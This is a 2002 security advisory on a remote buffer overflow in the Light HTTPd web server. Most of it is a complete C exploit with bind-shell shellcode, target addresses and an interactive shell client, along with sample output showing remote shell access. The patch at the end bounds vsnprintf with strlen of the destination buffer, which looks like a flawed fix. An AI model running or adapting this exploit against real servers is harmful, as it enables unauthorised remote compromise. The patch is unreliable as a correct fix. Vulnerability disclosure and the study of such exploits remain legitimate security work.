lightwebug.txt

`  
========================================  
INetCop Security Advisory #2002-0x82-002  
========================================  
  
  
* Title: Remote Buffer Overflow vulnerability in Light HTTPd.  
  
  
0x01. Description  
  
  
Lhttpd that is improved in ghttpd for more convenient and strong webserver,  
is webserver that offer several functions.   
Vulnerability that attacker can get shell in remote easily of this webserver ex  
ists.  
This vulnerability resembles closely very with ghttpd vulnerability before.  
  
  
0x02. Vulnerable Packages  
  
  
Vendor site: http://lhttpd.sourceforge.net/  
  
lhttpdwin0.1   
-lhttpd0.1-win.zip  
+Microsoft Windows  
  
lhttpd-0.1  
-lhttpd-0.1.tar.gz   
+AIX  
+BSD  
+GNU Hurd  
+HP-UX  
+IRIX  
+Linux  
+SCO  
+SunOS/Solaris  
+Other  
  
  
0x03. Exploit  
  
  
This's exploit code that prove.  
Through remote attack, get 'nobody' competence.  
  
  
=== 0x82-Remote.lhttpdxpl.c ===  
  
/*  
**  
** Proof of Concept LIGHT HTTPd Remote exploit  
** by Xpl017Elz  
** __  
** Testing exploit:  
**  
** bash$ ./0x82-Remote.lhttpdxpl -h 61.37.xx.xx -t 3  
**  
** Proof of Concept LIGHT HTTPd Remote exploit  
** by Xpl017Elz  
**   
** Try `./0x82-Remote.lhttpdxpl -?' for more information.  
**  
** [1] Make shellcode.  
** [2] Send exploit (bindshell) code.  
** [3] Waiting, executes the shell !  
** [4] Trying 61.37.xx.xx:36864 ...  
** [5] Connected to 61.37.xx.xx:36864 !  
**  
** [*] It's shell ! :-)  
**  
** Linux testsub 2.4.2-3 #1 Sun Jun 24 01:31:37 KST 2001 i686 unknown  
** uid=99(nobody) gid=99(nobody) groups=0(root),1(bin),2(daemon),3(sys),  
** 4(adm),6(disk),10(wheel)  
** exit  
** bash$  
**  
** --   
** exploit by "you dong-hun"(Xpl017Elz), <[email protected]>.   
** My World: http://x82.i21c.net  
**  
** Special Greets: INetCop team.  
**  
*/  
  
#include <stdio.h>  
#include <unistd.h>  
#include <getopt.h>  
#include <netdb.h>  
#include <netinet/in.h>  
  
#define HOST "localhost"  
#define PORT 3000  
  
struct os  
{  
int num;  
char *os;  
int offset;  
unsigned long shaddr;  
int atlen;  
};  
  
struct os plat[] =  
{  
/* olny test */  
{0,"RedHat Linux 6.x localhost lhttpd",1,0xbfffb744,160},  
{1,"RedHat Linux 6.x remote lhttpd",0,0xbfffb608,150},  
{2,"RedHat Linux 7.x localhost lhttpd",3,0xbfffb650,150},  
{3,"RedHat Linux 7.x remote lhttpd",2,0xbfffb650,160},  
{4,NULL,0,0}  
};  
  
int setsock(char *hostname,int port);  
void getshell(int sock);  
void usage(char *args);  
void banrl(char *args);  
int main(int argc,char *argv[])  
{  
int sockfd1;  
int sockfd2;  
int ax82,bx82,cx82,dx82;  
int type=0;  
int port=PORT;  
int atlen=plat[type].atlen;  
int off=plat[type].offset;  
char offbuf[10];  
char hostname[0x82]=HOST;  
  
char ptbind[] = /* BIND SHELL ON PORT TCP/36864 */  
//------------------- main: -------------------//  
"\xeb\x72" /* jmp callz */  
//------------------- start: ------------------//  
"\x5e" /* popl %esi */  
//------------------ socket() -----------------//  
"\x29\xc0" /* subl %eax, %eax */  
"\x89\x46\x10" /* movl %eax, 0x10(%esi) */  
"\x40" /* incl %eax */  
"\x89\xc3" /* movl %eax, %ebx */  
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */  
"\x40" /* incl %eax */  
"\x89\x46\x08" /* movl %eax, 0x08(%esi) */  
"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */  
"\xb0\x66" /* movb $0x66, %al */  
"\xcd\x80" /* int $0x80 */  
//------------------- bind() ------------------//  
"\x43" /* incl %ebx */  
"\xc6\x46\x10\x10" /* movb $0x10, 0x10(%esi) */  
"\x66\x89\x5e\x14" /* movw %bx, 0x14(%esi) */  
"\x88\x46\x08" /* movb %al, 0x08(%esi) */  
"\x29\xc0" /* subl %eax, %eax */  
"\x89\xc2" /* movl %eax, %edx */  
"\x89\x46\x18" /* movl %eax, 0x18(%esi) */  
"\xb0\x90" /* movb $0x90, %al */  
"\x66\x89\x46\x16" /* movw %ax, 0x16(%esi) */  
"\x8d\x4e\x14" /* leal 0x14(%esi), %ecx */  
"\x89\x4e\x0c" /* movl %ecx, 0x0c(%esi) */  
"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */  
"\xb0\x66" /* movb $0x66, %al */  
"\xcd\x80" /* int $0x80 */  
//------------------ listen() -----------------//  
"\x89\x5e\x0c" /* movl %ebx, 0x0c(%esi) */  
"\x43" /* incl %ebx */  
"\x43" /* incl %ebx */  
"\xb0\x66" /* movb $0x66, %al */  
"\xcd\x80" /* int $0x80 */  
//------------------ accept() -----------------//  
"\x89\x56\x0c" /* movl %edx, 0x0c(%esi) */  
"\x89\x56\x10" /* movl %edx, 0x10(%esi) */  
"\xb0\x66" /* movb $0x66, %al */  
"\x43" /* incl %ebx */  
"\xcd\x80" /* int $0x80 */  
//---- dup2(s, 0), dup2(s, 1), dup2(s, 2) -----//  
"\x86\xc3" /* xchgb %al, %bl */  
"\xb0\x3f" /* movb $0x3f, %al */  
"\x29\xc9" /* subl %ecx, %ecx */  
"\xcd\x80" /* int $0x80 */  
"\xb0\x3f" /* movb $0x3f, %al */  
"\x41" /* incl %ecx */  
"\xcd\x80" /* int $0x80 */  
"\xb0\x3f" /* movb $0x3f, %al */  
"\x41" /* incl %ecx */  
"\xcd\x80" /* int $0x80 */  
//------------------ execve() -----------------//  
"\x88\x56\x07" /* movb %dl, 0x07(%esi) */  
"\x89\x76\x0c" /* movl %esi, 0x0c(%esi) */  
"\x87\xf3" /* xchgl %esi, %ebx */  
"\x8d\x4b\x0c" /* leal 0x0c(%ebx), %ecx */  
"\xb0\x0b" /* movb $0x0b, %al */  
"\xcd\x80" /* int $0x80 */  
//------------------- callz: ------------------//  
"\xe8\x89\xff\xff\xff" /* call start */  
"/bin/sh"; /* 128byte */  
  
char atbuf[512];  
char sendnrecv[1024];  
unsigned long shcode=plat[type].shaddr;  
ax82=bx82=cx82=dx82=0;  
  
memset(offbuf,0x00,10);  
memset(atbuf,0x00,512);  
memset(sendnrecv,0x00,1024);  
  
(void)banrl(argv[0]);  
  
while((dx82=getopt(argc,argv,"S:s:O:o:H:h:P:p:T:t:"))!=EOF)  
{  
switch(dx82)  
{  
case 'S':  
case 's':  
shcode=strtoul(optarg,NULL,0);  
break;  
  
case 'O':  
case 'o':  
off=atoi(optarg);  
break;  
  
case 'H':  
case 'h':  
strncpy(hostname,optarg,0x82);  
break;  
  
case 'P':  
case 'p':  
port=atoi(optarg);  
break;  
  
case 'T':  
case 't':  
type=atoi(optarg);  
  
if(type<0 || type>3)  
usage(argv[0]);  
  
off=plat[type].offset;  
shcode=plat[type].shaddr;  
atlen=plat[type].atlen;  
break;  
  
case '?':  
usage(argv[0]);  
break;  
}  
}  
  
while(off)  
{  
off--;  
offbuf[off]='^';  
}  
  
fprintf(stdout," [1] Make shellcode.\n");  
for(ax82=0;ax82<atlen-strlen(ptbind);ax82++)  
atbuf[ax82] = 0x90;  
  
for(bx82=0;bx82<strlen(ptbind);bx82++)  
atbuf[ax82++]=ptbind[bx82];  
  
for(cx82=ax82;cx82<ax82+0x32;cx82+=4)  
*(long *)&atbuf[cx82]=shcode;  
  
snprintf(sendnrecv,1024,"GET /%s%s HTTP/1.0\r\n\n",offbuf,atbuf);  
  
fprintf(stdout," [2] Send exploit (bindshell) code.\n");  
sockfd1=setsock(hostname,port);  
send(sockfd1,sendnrecv,strlen(sendnrecv),0);  
  
fprintf(stdout," [3] Waiting, executes the shell !\n");  
sleep(3);  
  
fprintf(stdout," [4] Trying %s:36864 ...\n",hostname);  
sockfd2=setsock(hostname,36864);  
fprintf(stdout," [5] Connected to %s:36864 !\n\n",hostname);  
getshell(sockfd2);  
  
}  
  
int setsock(char *hostname,int port)  
{  
int sock;  
struct hostent *sxp;  
struct sockaddr_in sxp_addr;  
  
if((sxp=gethostbyname(hostname))==NULL)  
{  
herror("gethostbyname() error");  
exit(-1);  
}  
if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)  
{  
perror("socket() error");  
exit(-1);  
}  
  
sxp_addr.sin_family=AF_INET;  
sxp_addr.sin_port=htons(port);  
sxp_addr.sin_addr=*((struct in_addr*)sxp->h_addr);  
bzero(&(sxp_addr.sin_zero),8);  
  
if(connect(sock,(struct sockaddr *)&sxp_addr,sizeof(struct sockaddr))==-1)  
{  
perror("connect() error");  
exit(-1);  
}  
  
return(sock);  
}  
  
void getshell(int sock)  
{  
int died;  
char *command="uname -a;id\n";  
char readbuf[1024];  
fd_set rset;  
  
memset(readbuf,0x00,1024);  
  
fprintf(stdout," [*] It's shell ! :-)\n\n");  
send(sock,command,strlen(command),0);  
  
for(;;)  
{  
FD_ZERO(&rset);  
FD_SET(sock,&rset);  
FD_SET(STDIN_FILENO,&rset);  
select(sock+1,&rset,NULL,NULL,NULL);  
  
if(FD_ISSET(sock,&rset))  
{  
died=read(sock,readbuf,1024);  
if(died<=0)  
{  
exit(0);  
}  
readbuf[died]=0;  
printf("%s",readbuf);  
}  
if(FD_ISSET(STDIN_FILENO,&rset))  
{  
died=read(STDIN_FILENO,readbuf,1024);  
if(died>0)  
{  
readbuf[died]=0;  
write(sock,readbuf,died);  
}  
}  
}  
return;  
}  
  
void usage(char *args)  
{  
int x82;  
fprintf(stderr,"\n Default Usage: %s -[option] [arguments]\n\n",args);  
fprintf(stderr,"\t -h [hostname] - target host\n");  
fprintf(stderr,"\t -p [port] - port number\n");  
fprintf(stderr,"\t -s [addr] - &shellcode addr\n");  
fprintf(stderr,"\t -o [offset] - offset\n");  
fprintf(stderr,"\t -t [type] - type number\n\n");  
fprintf(stderr," Example: %s -h localhost -p 3000 -t 1\n\n",args);  
fprintf(stdout,"\t * Select target type: \n\n");  
for(x82=0;plat[x82].num<4;x82++)  
fprintf(stdout,"\t %d. %s\n",plat[x82].num,plat[x82].os);  
fprintf(stdout,"\n Happy Exploit !\n\n");  
exit(0);  
}  
  
void banrl(char *args)  
{  
fprintf(stdout,"\n Proof of Concept LIGHT HTTPd Remote exploit");  
fprintf(stdout,"\n by Xpl017Elz\n\n");  
fprintf(stdout," Try `%s -?' for more information.\n\n",args);  
}  
  
=== eof ===  
  
  
0x04. Patch  
  
  
=== util.patch ===  
  
--- util.c Mon Dec 24 09:43:29 2001  
+++ util.c.patch Thu Oct 17 19:02:00 2002  
@@ -220,7 +220,7 @@  
va_list ap;  
  
va_start(ap, format); // format it all into temp  
- vsprintf(temp, format, ap);  
+ vsnprintf(temp, strlen(temp), format, ap);  
va_end(ap);  
  
time (&t);  
  
=== eof ===  
  
  
P.S: Sorry, for my poor english.  
  
  
--  
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.  
  
MSN & E-mail: szoahc(at)hotmail(dot)com,  
xploit(at)hackermail(dot)com  
  
INetCop Security Home: http://www.inetcop.org (Korean hacking game)  
My World: http://x82.i21c.net  
  
GPG public key: http://wizard.underattack.co.kr/~x82/h0me/pr0file/x82.k3y  
--  
  
  
`